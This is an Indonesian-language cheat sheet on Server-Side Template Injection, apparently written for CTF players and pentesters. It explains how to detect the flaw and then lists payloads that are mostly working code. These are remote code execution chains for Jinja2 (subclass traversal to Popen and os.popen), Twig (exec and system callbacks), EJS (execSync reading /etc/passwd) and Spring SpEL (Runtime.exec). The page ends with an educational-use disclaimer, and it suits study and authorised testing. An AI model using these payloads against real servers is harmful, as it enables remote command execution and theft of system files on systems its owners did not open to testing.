Server-Side Template Injection (SSTI) - RCE via Templates
Server-Side Template Injection (SSTI) - RCE via Templates
Section titled “Server-Side Template Injection (SSTI) - RCE via Templates”Concept
Section titled “Concept”Server-Side Template Injection (SSTI) terjadi ketika input pengguna tidak disanitasi dengan benar dan langsung dimasukkan ke dalam template engine di server. Hal ini memungkinkan penyerang menyuntikkan direktif template yang valid, yang dapat dimanipulasi untuk membaca variabel internal, membocorkan source code, atau mencapai Remote Code Execution (RCE).
Berbeda dengan XSS yang dieksekusi di browser korban, SSTI dieksekusi di server.
Attack Vectors / Payloads
Section titled “Attack Vectors / Payloads”1. Detection
Section titled “1. Detection”Langkah pertama adalah mengidentifikasi apakah input diproses oleh template engine. Gunakan ekspresi matematika sederhana. Jika server mengembalikan hasil perhitungan (misal 49), maka kemungkinan rentan.
{{7*7}}${7*7}<%= 7*7 %>#{7*7}Diagram Deteksi Sederhana
Section titled “Diagram Deteksi Sederhana”Jika input {{7*7}} menghasilkan:
49: Vulnerable (Jinja2, Twig, dll).{{7*7}}: Not Vulnerable (Plain text).- Error: Mungkin Vulnerable (Syntax error di engine).
2. Python - Jinja2 (Flask/Django)
Section titled “2. Python - Jinja2 (Flask/Django)”Target paling umum di CTF.
Basic Test
Section titled “Basic Test”{{7*'7'}}# Output: 7777777 (Jinja2 mengulang string)Read Config
Section titled “Read Config”{{ config.items() }}RCE (Remote Code Execution)
Section titled “RCE (Remote Code Execution)”Payload klasik untuk memanggil subprocess.Popen atau os.popen.
Menggunakan __class__.__mro__ (Method Resolution Order):
{{ ''.__class__.__mro__[1].__subclasses__()[401]("whoami", shell=True, stdout=-1).communicate() }}# Catatan: Indeks [401] bisa berubah tergantung versi Python/Library. Perlu enumerasi.Payload Universal (Cycler / Self-contained):
Payload ini lebih stabil karena mencari class subprocess.Popen secara dinamis tanpa bergantung pada indeks hardcoded.
{% for x in ().__class__.__base__.__subclasses__() %} {% if "warning" in x.__name__ %} {{x()._module.__builtins__['__import__']('os').popen("ls -la").read()}} {% endif %}{% endfor %}3. PHP - Twig (Symfony/Laravel)
Section titled “3. PHP - Twig (Symfony/Laravel)”Basic Test
Section titled “Basic Test”{{7*7}}# Output: 49RCE (Dengan filter _self)
Section titled “RCE (Dengan filter _self)”Versi Twig modern mungkin membatasi akses _self.
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}RCE (Map Arrow Function)
Section titled “RCE (Map Arrow Function)”{{['id']|map('system')|join}}4. NodeJS - EJS (Express)
Section titled “4. NodeJS - EJS (Express)”<%= global.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString() %>5. Java - Thymeleaf / Spring (SpEL Injection)
Section titled “5. Java - Thymeleaf / Spring (SpEL Injection)”Basic Test
Section titled “Basic Test”${7*7}${T(java.lang.Runtime).getRuntime().exec('id')}References
Section titled “References”⚠️ Educational Purpose Only. Use these payloads only on systems you own or have explicit permission to test.